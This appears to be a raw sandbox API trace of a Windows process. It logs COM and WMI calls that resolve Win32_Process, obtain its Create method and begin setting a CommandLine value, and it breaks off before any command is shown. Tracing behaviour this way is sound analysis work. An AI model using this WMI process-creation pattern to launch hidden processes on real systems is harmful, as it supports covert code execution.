[0115.525] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0115.526] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0115.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656ff0) returned 0x0 [0115.526] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0115.526] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0115.526] WbemDefPath:IWbemPath:SetText (This=0x656ff0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0115.526] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6567b0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0115.526] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6567b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0115.526] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6567b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetClassName (in: This=0x6567b0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0115.526] WbemDefPath:IWbemPath:SetClassName (This=0x6567b0, Name="Win32_Process") returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetInfo (in: This=0x6567b0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetInfo (in: This=0x6567b0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0115.526] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0115.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0115.527] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0115.527] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0115.527] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0115.527] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0115.527] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0115.527] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0115.527] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0115.527] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.527] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b48b6d0) returned 0x0 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b6d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0115.528] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b6d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x6570b0) returned 0x0 [0115.528] WbemDefPath:IUnknown:Release (This=0x1b48b6d0) returned 0x0 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x6570b0) returned 0x0 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0115.528] WbemDefPath:IUnknown:AddRef (This=0x6570b0) returned 0x3 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b48b3d0) returned 0x0 [0115.528] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b3d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.528] WbemDefPath:IUnknown:Release (This=0x1b48b3d0) returned 0x3 [0115.528] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0115.528] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0115.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0115.528] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x2 [0115.528] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x1 [0115.529] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0115.529] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0115.529] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x6570b0) returned 0x0 [0115.529] WbemDefPath:IUnknown:AddRef (This=0x6570b0) returned 0x3 [0115.529] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x2 [0115.529] WbemDefPath:IWbemPath:SetText (This=0x6570b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0115.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0115.529] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0115.529] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.529] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0115.529] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0115.529] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0115.529] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.530] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b0b0) returned 0x0 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b0b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0115.530] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b0b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6554f0) returned 0x0 [0115.530] WbemDefPath:IUnknown:Release (This=0x1b48b0b0) returned 0x0 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6554f0) returned 0x0 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0115.530] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b2b0) returned 0x0 [0115.530] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b2b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.530] WbemDefPath:IUnknown:Release (This=0x1b48b2b0) returned 0x3 [0115.530] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0115.530] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0115.530] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0115.531] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0115.531] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0115.531] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0115.531] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0115.531] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6554f0) returned 0x0 [0115.531] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0115.531] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0115.531] WbemDefPath:IWbemPath:SetText (This=0x6554f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6570b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0115.531] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6570b0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0115.531] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6570b0, uIndex=0x0, pszName="root") returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0115.531] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6570b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetServer (in: This=0x6554f0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetServer (in: This=0x6554f0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetServer (in: This=0x6570b0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetServer (in: This=0x6570b0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetInfo (in: This=0x6570b0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0115.531] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6570b0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0115.532] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0115.532] WbemLocator:IUnknown:AddRef (This=0x1b510878) returned 0x3 [0115.532] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b510878) returned 0x0 [0115.532] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x3 [0115.532] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x2 [0115.532] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0115.532] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0115.532] IWbemServices:GetObject (in: This=0x63bd20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d8da0, ppCallResult=0x0) returned 0x0 [0115.537] IWbemClassObject:GetMethod (in: This=0x1b4d8da0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4da5b0, ppOutSignature=0x1b30d610*=0x1b4d7590) returned 0x0 [0115.537] IWbemClassObject:SpawnInstance (in: This=0x1b4da5b0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b469f40) returned 0x0 [0115.537] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2694f88*=0, plFlavor=0x2694f8c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2694f88*=8, plFlavor=0x2694f8c*=32) returned 0x0 [0115.537] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2694f88*=8, plFlavor=0x2694f8c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2694f88*=8, plFlavor=0x2694f8c*=32) returned 0x0 [0115.537] IWbemClassObject:Put (This=0x1b469f40, wszName="CommandLine", lFlags=0, 